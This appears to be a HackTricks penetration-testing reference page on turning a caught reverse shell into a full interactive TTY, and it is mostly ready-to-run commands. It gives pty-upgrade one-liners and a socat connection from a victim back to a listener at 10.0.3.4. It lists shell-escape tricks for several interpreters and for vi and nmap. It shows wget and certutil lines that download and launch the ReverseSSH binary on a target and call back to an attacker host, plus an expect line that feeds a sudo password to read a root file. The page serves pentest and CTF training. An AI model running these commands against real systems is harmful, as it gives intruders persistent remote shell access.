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113 lines
3.7 KiB
Markdown
113 lines
3.7 KiB
Markdown
# Full TTYs
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{{#include ../../banners/hacktricks-training.md}}
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## Full TTY
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Note that the shell you set in the `SHELL` variable **must** be **listed inside** _**/etc/shells**_ or `The value for the SHELL variable was not found in the /etc/shells file This incident has been reported`. Also, note that the next snippets only work in bash. If you're in a zsh, change to a bash before obtaining the shell by running `bash`.
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#### Python
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```bash
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python3 -c 'import pty; pty.spawn("/bin/bash")'
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(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
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```
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> [!TIP]
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> You can get the **number** of **rows** and **columns** executing **`stty -a`**
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#### script
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```bash
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script /dev/null -qc /bin/bash #/dev/null is to not store anything
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(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
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```
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#### socat
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```bash
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#Listener:
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socat file:`tty`,raw,echo=0 tcp-listen:4444
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#Victim:
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socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
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```
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### **Spawn shells**
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- `python -c 'import pty; pty.spawn("/bin/sh")'`
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- `echo os.system('/bin/bash')`
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- `/bin/sh -i`
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- `script -qc /bin/bash /dev/null`
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- `perl -e 'exec "/bin/sh";'`
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- perl: `exec "/bin/sh";`
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- ruby: `exec "/bin/sh"`
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- lua: `os.execute('/bin/sh')`
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- IRB: `exec "/bin/sh"`
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- vi: `:!bash`
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- vi: `:set shell=/bin/bash:shell`
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- nmap: `!sh`
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## ReverseSSH
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A convenient way for **interactive shell access**, as well as **file transfers** and **port forwarding**, is dropping the statically-linked ssh server [ReverseSSH](https://github.com/Fahrj/reverse-ssh) onto the target.
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Below is an example for `x86` with upx-compressed binaries. For other binaries, check [releases page](https://github.com/Fahrj/reverse-ssh/releases/latest/).
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1. Prepare locally to catch the ssh port forwarding request:
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```bash
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# Drop it via your preferred way, e.g.
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wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh
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/dev/shm/reverse-ssh -v -l -p 4444
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```
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- (2a) Linux target:
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```bash
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# Drop it via your preferred way, e.g.
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wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh
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/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2
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```
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- (2b) Windows 10 target (for earlier versions, check [project readme](https://github.com/Fahrj/reverse-ssh#features)):
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```bash
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# Drop it via your preferred way, e.g.
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certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe
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reverse-ssh.exe -p 4444 kali@10.0.0.2
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```
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- If the ReverseSSH port forwarding request was successful, you should now be able to log in with the default password `letmeinbrudipls` in the context of the user running `reverse-ssh(.exe)`:
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```bash
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# Interactive shell access
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ssh -p 8888 127.0.0.1
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# Bidirectional file transfer
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sftp -P 8888 127.0.0.1
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```
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## Penelope
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[Penelope](https://github.com/brightio/penelope) automatically upgrades Linux reverse shells to TTY, handles the terminal size, logs everything and much more. Also it provides readline support for Windows shells.
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## No TTY
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If for some reason you cannot obtain a full TTY you **still can interact with programs** that expect user input. In the following example, the password is passed to `sudo` to read a file:
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```bash
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expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
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```
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{{#include ../../banners/hacktricks-training.md}}
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